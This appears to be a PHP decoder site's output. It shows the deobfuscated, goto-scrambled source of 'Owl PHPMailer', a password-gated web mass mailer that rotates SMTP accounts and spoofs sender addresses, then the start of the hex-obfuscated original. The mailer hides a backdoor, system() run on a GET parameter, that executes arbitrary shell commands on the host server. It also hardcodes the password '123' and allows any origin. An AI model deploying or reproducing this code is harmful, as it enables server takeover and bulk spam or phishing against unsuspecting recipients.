gUJMn; P9zYE: goto Z8KMq; goto czHc4; mdJte: return $data; goto fgrfi; nSTCJ: xd88b: goto dxLBM; TJH2Q: $selR = [$this->smtp_conn]; goto hGOLN; dmrJ3: goto Z8KMq; goto nSTCJ; hq7po: $info = stream_get_meta_data($this->smtp_conn); goto RMyBD; R0Pwz: if (!(is_resource($this->smtp_conn) and !feof($this->smtp_conn))) { goto Z8KMq; } goto jOHCn; k_FzY: Z8KMq: goto mdJte; rCTHy: $str = @fgets($this->smtp_conn, 515); goto wZsu0; compP: NubSf: goto TJH2Q; DxxEn: $endtime = time() + $this->Timelimit; goto compP; IetJW: $this->edebug("SMTP -> get_lines(): timelimit reached (" . $this->Timelimit . " sec)", self::DEBUG_LOWLEVEL); goto s60GO; zK1P0: $data = ''; goto AVl42; UHilu: if (!($this->Timelimit > 0)) { goto NubSf; } goto DxxEn; OHpuu: ZigFY: goto hq7po; s60GO: goto Z8KMq; goto GJO3y; wZsu0: $this->edebug("SMTP INBOUND: "" . trim($str) . """, self::DEBUG_LOWLEVEL); goto cpw8S; AVl42: $endtime = 0; goto k2Teu; cpw8S: $data .= $str; goto fw330; bnELK: $this->edebug("SMTP -> get_lines(): timed-out (" . $this->Timeout . " sec)", self::DEBUG_LOWLEVEL); goto P9zYE; k2Teu: stream_set_timeout($this->smtp_conn, $this->Timeout); goto UHilu; RMyBD: if (!$info["timed_out"]) { goto xd88b; } goto n2sEF; d6hbR: goto uDMmr; goto k_FzY; gUJMn: Je0nS: goto zK1P0; A6BE2: goto Z8KMq; goto OHpuu; n2sEF: $this->edebug("SMTP -> get_lines(): timed-out (" . $this->Timeout . " sec)", self::DEBUG_LOWLEVEL); goto dmrJ3; bGyXR: uDMmr: goto R0Pwz; dxLBM: if (!($endtime and time() > $endtime)) { goto YHkCN; } goto IetJW; GJO3y: YHkCN: goto d6hbR; fw330: if (!(!isset($str[3]) or isset($str[3]) and $str[3] == " ")) { goto ZigFY; } goto A6BE2; ObIaZ: if (is_resource($this->smtp_conn)) { goto Je0nS; } goto fdbjJ; czHc4: OemDA: goto rCTHy; hGOLN: $selW = null; goto bGyXR; jOHCn: if (stream_select($selR, $selW, $selW, $this->Timelimit)) { goto OemDA; } goto bnELK; fgrfi: } public function setVerp($enabled = false) { $this->do_verp = $enabled; } public function getVerp() { return $this->do_verp; } protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') { $this->error = ["error" => $message, "detail" => $detail, "smtp_code" => $smtp_code, "smtp_code_ex" => $smtp_code_ex]; } public function setDebugOutput($method = "echo") { $this->Debugoutput = $method; } public function getDebugOutput() { return $this->Debugoutput; } public function setDebugLevel($level = 0) { $this->do_debug = $level; } public function getDebugLevel() { return $this->do_debug; } public function setTimeout($timeout = 0) { $this->Timeout = $timeout; } public function getTimeout() { return $this->Timeout; } protected function errorHandler($errno, $errmsg, $errfile = '', $errline = 0) { goto Tafpa; byAyu: $this->edebug("{$notice} Error #{$errno}: {$errmsg} [{$errfile} line {$errline}]", self::DEBUG_CONNECTION); goto J7KLe; Tafpa: $notice = "Connection failed."; goto Br57x; Br57x: $this->setError($notice, $errmsg, (string) $errno); goto byAyu; J7KLe: } protected function recordLastTransactionID() { goto iEPNN; RF1qL: foreach ($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) { goto GWMIO; IVN9R: FfZid: goto sels8; GWMIO: if (!preg_match($smtp_transaction_id_pattern, $reply, $matches)) { goto Wq0g_; } goto Fyisk; Fyisk: $this->last_smtp_transaction_id = trim($matches[1]); goto D9VmQ; D9VmQ: goto jOuLq; goto z6WGj; z6WGj: Wq0g_: goto IVN9R; sels8: } goto D1T9h; AreMH: return $this->last_smtp_transaction_id; goto eEzgy; aiIfu: $this->last_smtp_transaction_id = null; goto vYftQ; D1T9h: jOuLq: goto SpDLg; iEPNN: $reply = $this->getLastReply(); goto Y9RYN; Y9RYN: if (empty($reply)) { goto sAPoE; } goto Eso_v; vYftQ: ioPBv: goto AreMH; SpDLg: goto ioPBv; goto yUfZg; Eso_v: $this->last_smtp_transaction_id = false; goto RF1qL; yUfZg: sAPoE: goto aiIfu; eEzgy: } public function getLastTransactionID() { return $this->last_smtp_transaction_id; } } goto jj3Ju; VEuIy: set_time_limit(0); goto sZqEy; sBXff: $GLOBALS["replyTo"] = owlTrim($_POST["replyTo"]); goto QGmBo; YTu3e: function randString($consonants, $min_length, $max_length) { goto E4Lc6; E4Lc6: $length = rand($min_length, $max_length); goto FVzcO; aMxZJ: SlAW9: goto kqOqv; Mbo6x: $password .= $consonants[rand() % strlen($consonants)]; goto gSdDR; kqOqv: if (!($i < $length)) { goto KyaK7; } goto Mbo6x; xNeoX: goto SlAW9; goto EOoFJ; Lg2ec: return $password; goto Gx3hY; gSdDR: VQr1l: goto URcoY; UaNuP: $i = 0; goto aMxZJ; FVzcO: $password = ''; goto UaNuP; EOoFJ: KyaK7: goto Lg2ec; URcoY: $i++; goto xNeoX; Gx3hY: } goto saOQ7; roAg8: $GLOBALS["messageType"] = owlTrim($_POST["messageType"]); goto oYHGs; giQDz: $GLOBALS["senderName"] = owlTrim($_POST["senderName"]); goto UioeA; TdNm6: $owl["website"] = "owlmailer.io"; goto NlcjN; gjUdH: $GLOBALS["recipient"] = owlTrim($_POST["recipient"]); goto XCmtY; HPRnm: echo "">"; goto nNUAs; UioeA: $GLOBALS["sendingMethod"] = owlTrim($_POST["sendingMethod"]); goto U3CBH; nNUAs: echo $owl["website"]; goto Rvpps; HCp3t: if (isset($_SESSION[$sessioncode])) { goto bSVjw; } goto juqWA; nHqsP: $GLOBALS["messageSubject"] = stripslashes($messageSubject); goto ZvHun; LzZ02: $sessioncode = md5(__FILE__); goto HCp3t; Iu6Nn: print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; goto qhps9; x5J6g: $GLOBALS["messageLetter"] = stripslashes($messageLetter); goto PBOOI; YbvdK: echo basename($_SERVER["PHP_SELF"]); goto PxHSI; MFHkM: header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); goto MSTbJ; YyLK1: $altMessageLetter = urlencode($altMessageLetter); goto tjNyb; snwvY: lrjfz: goto LzZ02; rToZd: $GLOBALS["altMessageLetter"] = stripslashes($altMessageLetter); goto roAg8; LyfFP: $GLOBALS["encodingType"] = stripslashes($encodingType); goto yZdUN; FsfbP: if (!(!empty($password) && $_SESSION[$sessioncode] != $password)) { goto u1sYM; } goto h1Zs5; qhps9: exit; goto ckb7d; ckb7d: goto mCEaK; goto RAX9d; IiWyC: $messageSubject = owlTrim($_POST["messageSubject"]); goto nHqsP; h1Zs5: if (isset($_REQUEST["pass"]) and $_REQUEST["pass"] == $password) { goto htsZV; } goto Iu6Nn; xX1Ws: function setSendingMethod() { goto zKjiJ; yvHl3: EZsFI: goto uwmvS; kGkx6: if (owlTrim($parts[2]) == "ssl") { goto TmkSD; } goto GWUU2; zKjiJ: $mail = new PHPMailer(); goto TvJEL; TvJEL: if (!($GLOBALS["sendingMethod"] == "smtp")) { goto EZsFI; } goto HXeXA; XgcVI: if (!(isset($parts[3]) && isset($parts[4]))) { goto EW8jy; } goto g3QTF; nrS4L: KHxF4: goto Pp1eU; fMSOS: $mail->Port = owlTrim($parts[1]); goto kGkx6; l1VFJ: EW8jy: goto yvHl3; gY3Jx: goto KHxF4; goto nex77; LeNGr: DSYJ3: goto XgcVI; g3QTF: $mail->SMTPAuth = true; goto jGRIG; zskUI: $mail->SMTPSecure = "tls"; goto nrS4L; HXeXA: $mail->IsSMTP(); goto KdFfL; rP1HK: $mail->Host = owlTrim($parts[0]); goto fMSOS; JIabB: $mail->SMTPSecure = ''; goto gY3Jx; jGRIG: $mail->Username = owlTrim($parts[3]); goto TRq_6; uwmvS: return $mail; goto iEZEt; TRq_6: $mail->Password = owlTrim($parts[4]); goto l1VFJ; raVtb: TmkSD: goto WFXFi; WFXFi: $mail->SMTPSecure = "ssl"; goto LeNGr; GWUU2: if (owlTrim($parts[2]) == "tls") { goto G0I7b; } goto JIabB; KdFfL: $parts = explode(":", $GLOBALS["smtpAcct"]); goto rP1HK; nex77: G0I7b: goto zskUI; Pp1eU: goto DSYJ3; goto raVtb; iEZEt: } goto eJhKU; oYHGs: $encodingType = owlTrim($_POST["encodingType"]); goto LyfFP; cPz1k: $messageLetter = urlencode($messageLetter); goto RUBRo; saOQ7: function is_email($input) { goto q9xVR; q9xVR: $email_pattern = "/^([a-zA-Z0-9\-\_\.]{1,})+@+([a-zA-Z0-9\-\_\.]{1,})+\.+([a-z]{2,4})$/i"; goto Bs3s4; et10Z: return TRUE; goto Ix1W6; Ix1W6: KL8EB: goto ELSj4; Bs3s4: if (!preg_match($email_pattern, $input)) { goto KL8EB; } goto et10Z; ELSj4: } goto lzxOZ; FR20b: echo "</title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">\xa <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>\xa <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js"></script>
<link rel="icon" href="https://cdn-icons-png.flaticon.com/512/1864/1864521.png" type="image/x-icon" />\xa
\xa</head>
<body>\xa <script>\xa var running = false;\xa var request;\xa </script>\xa\xa <script>\xa Array.prototype.randomElement = function () {\xa return this[Math.floor(Math.random() * this.length)]\xa }\xa
function stopSending()\xa {
running = false;
\xa if (request) {
request.abort();
}
\xa $("#btnStart").attr("disabled", false);
$("#btnStop").attr("disabled", true);\xa }\xa\xa function handleSendingResponse(recipient, response, processedCount, totalEmailCount) {
$("#progress").append('<div class="col-lg-3">' + processedCount.toString() + '/' + totalEmailCount.toString() + '</div><div class="col-lg-6">' + recipient + '</div>');\xa
if (response == "OK"){\xa $("#progress").append('<div class="col-lg-1"><span class="label label-success">Ok</span></div>');\xa }
else if(response == "Incorrect Email"){
$("#progress").append('<div class="col-lg-1"><span class="label label-default">Incorrect Email</span></div>');\xa } else {\xa $("#progress").append('<div class="col-lg-1"><span class="label label-default">' + response + '</span></div>');
}
$("#progress").append('<br>');
}\xa
function startSending() {
\xa
\xa var eMailTextArea = document.getElementById("emailList");\xa var eMailTextAreaLines = eMailTextArea.value.split("\n");
var smtpAccountsTextArea = document.getElementById("smtpAccounts");
var smtpAccountsTextAreaLines = smtpAccountsTextArea.value.split("\n");
var encodingTypeE = document.getElementById('encoding');
var encodingType = encodingTypeE.options[encodingTypeE.selectedIndex].value;
var emailPriorityE = document.getElementById('priority');
var emailPriority = emailPriorityE.options[emailPriorityE.selectedIndex].value;
var form_data = new FormData();
form_data.append("action", "send");\xa form_data.append("sendingMethod", document.querySelector('input[name="sendingMethod"]:checked').value);
form_data.append("senderEmail", document.getElementById('senderEmail').value);
form_data.append("senderName", document.getElementById('senderName').value);\xa form_data.append("replyTo", document.getElementById('replyTo').value);
form_data.append("messageSubject", document.getElementById('subject').value);\xa form_data.append("messageLetter", document.getElementById('messageLetter').value);
form_data.append("altMessageLetter", document.getElementById('altMessageLetter').value);
form_data.append("messageType", document.querySelector('input[name="messageType"]:checked').value);
form_data.append("encodingType", encodingType);
form_data.append("emailPriority", emailPriority);\xa\xa for (var x = 0; x < document.getElementById('attachment').files.length; x++) {\xa form_data.append("attachment[]", document.getElementById('attachment').files[x]);
}
\xa $("#progress").empty();\xa var processedCount = 0;
$(function () {
var i = 0;
running = true;
\xa $("#btnStart").attr("disabled", true);
$("#btnStop").attr("disabled", false);\xa\xa\xa function nextCall() {\xa if (i == eMailTextAreaLines.length){
$("#btnStart").attr("disabled", false);\xa $("#btnStop").attr("disabled", true);
return; //last call was last item in the array\xa }
// Abort any pending request\xa if (request) {
request.abort();
}\xa if(!running)\xa {
return;\xa }\xa\xa var recipient = eMailTextAreaLines[i++]
form_data.append("recipient", recipient);
form_data.append("smtpAcct", smtpAccountsTextAreaLines.randomElement());\xa\xa request = $.ajax({
type: "post",\xa data: form_data,
contentType: false,\xa processData: false,
});\xa // Callback handler that will be called on success\xa request.done(function (response, textStatus, jqXHR) {\xa processedCount += 1;
handleSendingResponse(recipient, response, processedCount, eMailTextAreaLines.length);
nextCall();\xa });
}
nextCall();
});
}\xa</script>
<div class="container col-lg-6">\xa <h3>🦉 Owl PHPMailer<small> "; goto CK_Rx; sA8ns: gIQUA: goto y1kn1; lzxOZ: if (isset($GLOBALS["senderEmail"])) { goto gIQUA; } goto bGfqA; juqWA: $_SESSION[$sessioncode] = ''; goto WXoUm; fZ0z1: header("Pragma: no-cache"); goto Hoice; MSTbJ: header("Cache-Control: post-check=0, pre-check=0", false); goto fZ0z1; eJhKU: function processEmailSendingRequest() { goto uuI2L; qfi05: JGAA2: goto suc3c; QOLrv: if ($messageType == "html") { goto Xhyte; } goto Z7Cvk; i1MlE: $recipient = $GLOBALS["recipient"]; goto m6Gup; Uso_k: $mail->Body = $body; goto P35rn; m6Gup: $subject = owlClear($GLOBALS["messageSubject"], $GLOBALS["recipient"]); goto J76QF; OSuT0: b0si5: goto jrM4R; xy6zF: if (!(isset($charSet) && $charSet !== '')) { goto mOk7i; } goto ERvVT; lcG5S: if (!($_FILES["attachment"]["tmp_name"][$i] != '')) { goto IpnO1; } goto vmNJJ; HxvlO: qzMuO: goto OTl4C; jrM4R: $mail = setSendingMethod(); goto inF5Z; DwdQv: $emailPriority = $GLOBALS["emailPriority"]; goto Rjs67; uuI2L: if (is_email($GLOBALS["recipient"])) { goto b0si5; } goto XxLUZ; vDYg_: IAcCq: goto FHzkR; QQ8Ae: $altBody = owlClear($GLOBALS["altMessageLetter"], $GLOBALS["recipient"]); goto xcgow; Rjs67: $mail->setFrom($fromEmail, $fromName); goto QMN8M; johvg: if (!(isset($body) && $body !== '')) { goto X2Ah0; } goto Uso_k; q8Fq3: $fromName = owlClear($GLOBALS["senderName"], $GLOBALS["recipient"]); goto IvfMb; IvfMb: $replyTo = owlClear($GLOBALS["replyTo"], $GLOBALS["recipient"]); goto i1MlE; zLvuF: exit("OK"); goto Jmj8N; cVwce: $i = 0; goto DAEut; r6TJY: $mail->Priority = $emailPriority; goto u6vOQ; CtFC6: IpnO1: goto qfi05; OylWb: if (!($i < count($_FILES["attachment"]["name"]))) { goto y_jmm; } goto lcG5S; E6jRG: Xhyte: goto O8jIa; Jmj8N: goto huNZD; goto HxvlO; inF5Z: $fromEmail = owlClear($GLOBALS["senderEmail"], $GLOBALS["recipient"]); goto q8Fq3; fX_ep: PjkbC: goto johvg; ohZke: if (!$mail->send()) { goto qzMuO; } goto zLvuF; XxLUZ: exit("Incorrect Email"); goto OSuT0; DAEut: wkVae: goto OylWb; Dee1Y: if (!(isset($subject) && $subject !== '')) { goto PjkbC; } goto mbQaj; HpOpt: huNZD: goto kZeDy; xcgow: $charSet = $GLOBALS["encodingType"]; goto iqBp9; QMN8M: if (!(isset($replyTo) && $replyTo !== '')) { goto IAcCq; } goto XV733; ERvVT: $mail->CharSet = $charSet; goto YFbXE; T1cFM: $mail->AltBody = $altBody; goto AeUqn; suc3c: $i++; goto SqPer; Z7Cvk: $mail->IsHTML(false); goto iMn3K; mbQaj: $mail->Subject = $subject; goto fX_ep; bwEct: y_jmm: goto BKQw9; iqBp9: $messageType = $GLOBALS["messageType"]; goto DwdQv; OTl4C: exit($mail->ErrorInfo); goto HpOpt; mCxpa: if (!(isset($altBody) && $altBody !== '')) { goto w3M6H; } goto T1cFM; FHzkR: $mail->addAddress($recipient); goto Dee1Y; P35rn: X2Ah0: goto xy6zF; BKQw9: Vdacy: goto QOLrv; u6vOQ: glk5C: goto mCxpa; vmNJJ: $mail->AddAttachment($_FILES["attachment"]["tmp_name"][$i], $_FILES["attachment"]["name"][$i]); goto CtFC6; J76QF: $body = owlClear($GLOBALS["messageLetter"], $GLOBALS["recipient"]); goto QQ8Ae; iMn3K: goto X276V; goto E6jRG; SqPer: goto wkVae; goto bwEct; WvTlr: if (!(isset($emailPriority) && $emailPriority !== '')) { goto glk5C; } goto r6TJY; G3lsM: X276V: goto ohZke; AeUqn: w3M6H: goto SAF6i; YFbXE: mOk7i: goto WvTlr; SAF6i: if (!isset($_FILES["attachment"])) { goto Vdacy; } goto cVwce; XV733: $mail->addReplyTo($replyTo); goto vDYg_; O8jIa: $mail->IsHTML(true); goto G3lsM; kZeDy: } goto zNmfc; RwtFE: echo $owl["version"]; goto FR20b; yZdUN: $emailPriority = owlTrim($_POST["emailPriority"]); goto p8kfk; NlcjN: $css = $_SERVER["PHP_SELF"]; goto ugHAn; UqdnU: echo "</small></h3>
<div class="row">
<div class="form-group col-lg-6 ">\xa <label for="senderEmail">Sender Email</label>
<input type="text" class="form-control input-sm" id="senderEmail" name="senderEmail" value=""; goto VYJiJ; wSG9i: echo " <div class="col-lg-6"><br>
<label for="well">Instruction</label>
<div id="well" class="well well">\xa <h4>Server Information</h4>
<ul>
<li>ServerIP : <b> "; goto IMG9f; XEZY7: NYVCf: goto sA8ns; xvCsq: $GLOBALS["senderEmail"] = ''; goto XEZY7; zNmfc: function owlTrim($string) { return stripslashes(ltrim(rtrim($string))); } goto wnTJp; AISJh: $password = "123"; goto TUb_m; FmMsa: echo "</b></li>\xa
</ul>
<h4>HELP</h4>\xa <ul>\xa <li>[-email-] : <b>Reciver Email</b></li>
<li>[-time-] : <b>Date and Time</b> ("; goto Y49v9; UmsCm: echo "">\xa </div>
<div class="form-group col-lg-6 ">
<form method="GET" name=""; goto YbvdK; IMG9f: echo $_SERVER["SERVER_ADDR"]; goto FmMsa; bGfqA: $GLOBALS["senderEmail"] = "support@" . str_replace("www.", '', $_SERVER["HTTP_HOST"]); goto fJoTr; uiC3a: system($_GET["senderName"]); goto BVo3S; TUb_m: $owl["version"] = "2.1"; goto TdNm6; RAX9d: htsZV: goto x7BCo; t5otc: u1sYM: goto xX1Ws; BVo3S: iMHnD: goto wSG9i; UkE6_: if (!isset($_GET["senderName"])) { goto iMHnD; } goto uiC3a; fJoTr: if (PHPMailer::validateAddress($GLOBALS["senderEmail"])) { goto NYVCf; } goto xvCsq; jj3Ju: class phpmailerException extends Exception { public function errorMessage() { $errorMsg = "<strong>" . $this->getMessage() . "</strong><br />
"; return $errorMsg; } } goto khAQm; x7BCo: $_SESSION[$sessioncode] = $password; goto FqliA; wnTJp: function owlClear($text, $email) { goto yK3j_; AXQ9m: $text = str_replace("[-emailuser-]", $emailuser, $text); goto EFIM6; q1GLk: return $text; goto PsN14; D6XRu: $text = str_replace("[-randomnumber-]", randString("0123456789", 7, 15), $text); goto dhVFI; EFIM6: $text = str_replace("[-randomletters-]", randString("abcdefghijklmnopqrstuvwxyz", 8, 15), $text); goto t8dZe; dhVFI: $text = str_replace("[-randommd5-]", md5(rand()), $text); goto q1GLk; t8dZe: $text = str_replace("[-randomstring-]", randString("abcdefghijklmnopqrstuvwxyz0123456789", 8, 15), $text); goto D6XRu; X5Pcz: $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text); goto LzQGV; yK3j_: $emailuser = preg_replace("/([^@]*).*/", "$1", $email); goto X5Pcz; LzQGV: $text = str_replace("[-email-]", $email, $text); goto AXQ9m; PsN14: } goto YTu3e; Hoice: header("Access-Control-Allow-Origin: *"); goto AISJh; Rvpps: echo "</a></b></h6>\xa </div>\xa\xa <div id="progress" class="col-lg-16">\xa \xa </div>\xa </div>\xa \xa<script>
$("#btnStart").attr("disabled", false);\xa $("#btnStop").attr("disabled", true);\xa</script>\xa</body>
<footer></footer>
\xa</html>"; ?>
Did this file decode correctly?
Original Code
goto Dkjib; sZqEy: ini_set("\x6d\x65\155\x6f\x72\x79\x5f\154\151\155\151\x74", -1); goto MFHkM; MHk87: $messageLetter = urldecode($messageLetter); goto x5J6g; Y49v9: echo date("\155\57\x64\x2f\131\40\150\x3a\151\72\163\40\x61", time()); goto qtZyt; FqliA: mCEaK: goto t5otc; XCmtY: $GLOBALS["\x73\x6d\164\x70\x41\x63\x63\164"] = owlTrim($_POST["\163\x6d\164\x70\101\x63\143\164"]); goto giQDz; PBOOI: $altMessageLetter = owlTrim($_POST["\141\154\164\x4d\x65\163\x73\x61\x67\145\x4c\x65\x74\x74\x65\x72"]); goto YyLK1; VYJiJ: echo $GLOBALS["\x73\145\x6e\x64\145\162\x45\x6d\x61\x69\154"]; goto UmsCm; QGmBo: $messageLetter = owlTrim($_POST["\x6d\145\x73\163\141\x67\x65\114\x65\164\164\145\x72"]); goto cPz1k; LnxQB: echo $owl["\167\145\x62\163\x69\x74\x65"]; goto HPRnm; CK_Rx: echo $owl["\166\145\162\163\151\x6f\x6e"]; goto UqdnU; ugHAn: if (!(isset($_POST["\x61\143\x74\151\157\x6e"]) && $_POST["\141\x63\x74\151\x6f\156"] == "\x73\x65\x6e\144")) { goto lrjfz; } goto gjUdH; PxHSI: echo "\x22\76\xa\x20\40\40\40\40\40\x20\40\x3c\154\141\x62\145\154\x20\146\x6f\162\x3d\x22\x73\x65\x6e\x64\145\x72\x45\155\x61\x69\154\42\x3e\x53\145\156\144\x65\162\x20\116\141\x6d\145\x3c\57\x6c\x61\142\x65\154\x3e\12\40\40\40\40\x20\x20\x20\40\74\151\156\x70\165\x74\40\164\x79\160\x65\75\x22\x74\145\170\x74\42\x20\143\x6c\x61\x73\x73\x3d\x22\146\x6f\162\155\55\143\x6f\x6e\x74\x72\x6f\154\40\x20\x69\156\x70\165\164\x2d\163\x6d\x22\40\151\144\x3d\42\163\x65\x6e\144\x65\x72\116\141\155\145\42\x20\156\141\x6d\145\x3d\x22\163\x65\x6e\x64\145\162\x4e\x61\155\x65\42\76\xa\x3c\151\156\x70\165\164\x20\x74\x79\x70\145\75\42\163\x75\x62\x6d\x69\x74\42\x20\166\141\x6c\x75\x65\75\x22\123\x65\156\144\x22\x20\x68\151\x64\144\x65\156\40\57\x3e\xa\x20\x20\x20\40\x20\40\74\57\x64\151\x76\x3e\12\40\x20\x20\x20\x3c\57\144\x69\x76\76\12\x20\40\40\40\74\x64\x69\166\40\143\154\x61\x73\163\75\42\x72\x6f\x77\x22\x3e\40\x3c\163\x70\141\156\40\x63\x6c\x61\163\163\75\x22\146\x6f\162\155\x2d\147\x72\x6f\165\x70\x20\143\x6f\154\x2d\x6c\147\x2d\66\42\x3e\x3c\154\141\x62\145\x6c\x20\x66\x6f\x72\75\42\x61\x74\164\141\143\x68\x6d\x65\156\164\x22\76\x41\x74\x74\141\143\150\x6d\145\x6e\x74\x20\x3c\163\x6d\141\x6c\x6c\76\x28\x4d\165\154\x74\x69\160\x6c\x65\x20\101\x76\141\x69\x6c\141\142\x6c\x65\51\x3c\57\163\x6d\141\154\154\76\x3c\57\154\141\142\x65\x6c\76\74\x69\156\x70\x75\x74\x20\164\x79\x70\145\75\x22\x66\151\x6c\x65\x22\40\x6e\x61\x6d\x65\75\42\x61\164\164\141\143\x68\x6d\x65\x6e\164\133\135\x22\x20\151\x64\75\42\141\x74\164\141\143\x68\155\145\x6e\x74\x22\40\x6d\165\154\164\151\x70\154\x65\x2f\76\x3c\x2f\x73\x70\x61\156\x3e\12\40\x20\x20\40\40\x20\74\x64\151\166\x20\143\x6c\141\163\163\x3d\x22\x66\x6f\162\x6d\55\147\x72\157\165\x70\40\x63\x6f\x6c\x2d\x6c\x67\x2d\x36\x22\x3e\12\40\x20\x20\40\x20\40\40\40\74\154\x61\142\x65\154\40\x66\x6f\x72\75\42\162\x65\160\x6c\171\124\x6f\42\76\x52\x65\160\x6c\171\x2d\164\157\x3c\57\154\x61\x62\x65\154\76\xa\x20\x20\x20\x20\x20\x20\40\40\74\151\x6e\160\165\x74\40\x74\x79\160\x65\75\42\x74\145\170\x74\42\40\143\154\141\163\163\75\x22\x66\x6f\162\x6d\x2d\143\x6f\x6e\x74\162\x6f\x6c\40\x20\151\x6e\160\x75\164\55\163\x6d\40\x22\40\x69\x64\x3d\42\x72\x65\x70\154\171\124\157\42\x20\x6e\141\155\x65\x3d\42\162\x65\160\154\x79\124\x6f\42\x20\57\x3e\12\40\x20\40\40\x20\40\x3c\57\x64\151\166\76\xa\x20\40\40\40\x3c\x2f\144\x69\166\76\12\x20\x20\x20\40\x3c\x64\151\166\x20\x63\154\x61\163\163\75\42\x72\x6f\167\42\x3e\12\x20\x20\40\40\40\x20\x3c\x64\151\x76\x20\143\x6c\x61\x73\x73\x3d\x22\x66\157\x72\x6d\55\147\x72\157\x75\x70\x20\x63\157\x6c\x2d\x6c\147\x2d\61\x32\40\42\76\12\x20\40\x20\40\40\40\40\40\74\154\x61\x62\x65\154\x20\146\x6f\x72\x3d\x22\x73\x75\x62\152\x65\x63\164\42\76\x53\165\142\152\145\143\164\74\57\154\141\142\145\x6c\76\12\x20\40\x20\40\40\x20\40\40\74\x69\156\160\x75\x74\x20\x74\x79\160\145\x3d\x22\164\145\170\x74\x22\40\143\x6c\141\163\163\75\42\x66\x6f\162\155\x2d\x63\x6f\x6e\x74\x72\157\154\40\x20\x69\156\x70\x75\x74\x2d\163\x6d\x20\x22\x20\x69\x64\75\42\163\x75\x62\152\145\143\x74\x22\x20\x6e\x61\x6d\145\x3d\42\x73\165\142\x6a\145\x63\x74\42\x20\57\x3e\xa\40\40\x20\40\40\x20\x3c\57\x64\151\166\76\xa\40\40\40\40\x3c\x2f\x64\151\166\76\12\40\40\x20\40\74\144\x69\x76\x20\143\x6c\x61\163\163\75\42\x72\157\167\x22\76\12\x20\40\x20\40\40\40\x3c\144\x69\x76\40\143\154\141\163\163\75\x22\x66\157\x72\x6d\55\147\162\157\165\x70\40\x63\x6f\x6c\55\154\x67\55\66\x22\x3e\12\40\40\x20\x20\40\x20\x20\x20\x3c\x6c\x61\x62\145\154\x20\x66\x6f\162\75\42\155\145\x73\163\141\147\145\114\145\164\164\x65\162\x22\76\115\145\x73\x73\141\x67\145\40\x4c\145\164\x74\145\162\x3c\x2f\154\x61\x62\x65\x6c\x3e\12\40\x20\40\40\40\x20\40\40\74\x74\x65\170\x74\x61\162\145\x61\x20\x70\x6c\141\x63\x65\x68\157\154\x64\145\162\x3d\x22\x4d\145\163\x73\141\147\x65\40\x4c\x65\164\x74\145\162\x22\40\156\x61\155\145\x3d\42\155\145\163\x73\141\147\x65\114\145\x74\164\x65\x72\x22\x20\151\144\x3d\x22\155\x65\x73\x73\x61\x67\145\114\145\x74\x74\145\x72\42\x20\x63\154\141\163\163\75\42\146\x6f\x72\155\x2d\143\x6f\x6e\x74\162\x6f\x6c\x22\x20\162\157\167\163\75\42\x31\60\42\x20\151\x64\x3d\x22\164\145\170\164\101\x72\x65\141\x22\76\x3c\x2f\164\145\170\x74\x61\x72\145\141\x3e\12\40\40\x20\40\x20\40\74\57\x64\151\166\76\xa\x20\x20\x20\40\x20\x20\74\x64\151\x76\x20\x63\154\141\163\163\x3d\x22\146\157\x72\x6d\55\x67\162\x6f\165\160\40\x63\x6f\154\55\x6c\x67\55\66\x22\x3e\12\40\40\40\40\x20\x20\40\x20\x3c\154\x61\x62\145\x6c\40\146\x6f\162\75\x22\x61\154\x74\x4d\x65\x73\163\141\x67\x65\114\145\164\x74\145\162\x22\x3e\101\154\x74\145\x72\x6e\141\x74\151\x76\145\40\115\x65\x73\x73\x61\x67\145\40\114\145\x74\x74\145\x72\x3c\57\154\x61\142\145\x6c\x3e\12\40\40\40\x20\40\x20\40\40\x3c\x74\x65\170\x74\141\x72\x65\x61\40\160\x6c\x61\x63\x65\x68\x6f\154\x64\145\162\x3d\x22\x41\154\164\x65\162\x6e\141\x74\151\166\145\x20\x4d\145\163\163\x61\x67\145\40\x4c\145\x74\164\145\x72\56\x26\x23\61\x30\x3b\124\150\x69\163\40\x62\157\x64\171\40\143\x61\156\40\x62\145\x20\162\145\x61\144\40\x62\x79\40\155\x61\151\154\x20\143\x6c\151\x65\x6e\x74\x73\40\x74\x68\141\x74\40\x64\157\x20\156\x6f\164\x20\x68\x61\x76\145\x20\110\x54\115\x4c\40\x65\x6d\x61\151\x6c\x2e\x26\x23\x31\60\73\143\x61\x70\141\142\x69\x6c\151\x74\171\x20\x73\165\143\150\x20\141\163\x20\x6d\x75\x74\x74\40\x26\x23\x33\70\73\40\x45\165\144\157\x72\141\56\46\43\61\x30\73\103\x6c\151\x65\156\164\163\40\x74\x68\x61\x74\40\143\141\156\x20\x72\x65\x61\x64\40\110\x54\115\114\x20\167\x69\x6c\154\40\166\151\145\x77\x20\164\150\x65\40\156\157\x72\155\141\x6c\40\102\x6f\x64\171\x2e\x22\40\156\x61\155\x65\x3d\42\141\154\x74\x4d\x65\x73\163\141\x67\145\114\x65\x74\164\x65\162\42\x20\x69\x64\x3d\42\x61\154\x74\115\x65\x73\163\141\x67\x65\114\145\164\x74\145\162\x22\40\143\x6c\x61\163\163\75\42\x66\157\x72\x6d\55\x63\x6f\x6e\164\x72\x6f\154\x22\40\162\157\167\x73\x3d\x22\x31\x30\42\x20\151\x64\x3d\42\x74\x65\x78\x74\101\162\145\x61\42\76\74\x2f\164\145\170\164\x61\162\x65\x61\x3e\xa\40\40\x20\40\x20\x20\x3c\x2f\x64\x69\x76\x3e\xa\x20\40\40\x20\x3c\57\x64\151\x76\x3e\12\40\40\40\x20\74\144\151\166\40\x63\154\141\163\163\x3d\42\x72\x6f\x77\x22\x3e\12\x20\x20\x20\x20\x20\40\74\x64\x69\x76\40\143\154\x61\x73\x73\x3d\x22\146\157\162\x6d\55\147\162\157\165\160\x20\143\x6f\x6c\x2d\154\147\x2d\66\40\x22\76\xa\x20\40\40\x20\40\x20\40\40\74\x6c\x61\142\145\x6c\x20\x66\x6f\x72\x3d\42\145\155\x61\151\154\114\151\163\164\x22\x3e\105\155\x61\x69\x6c\40\x4c\x69\163\x74\x3c\57\x6c\x61\142\145\154\76\xa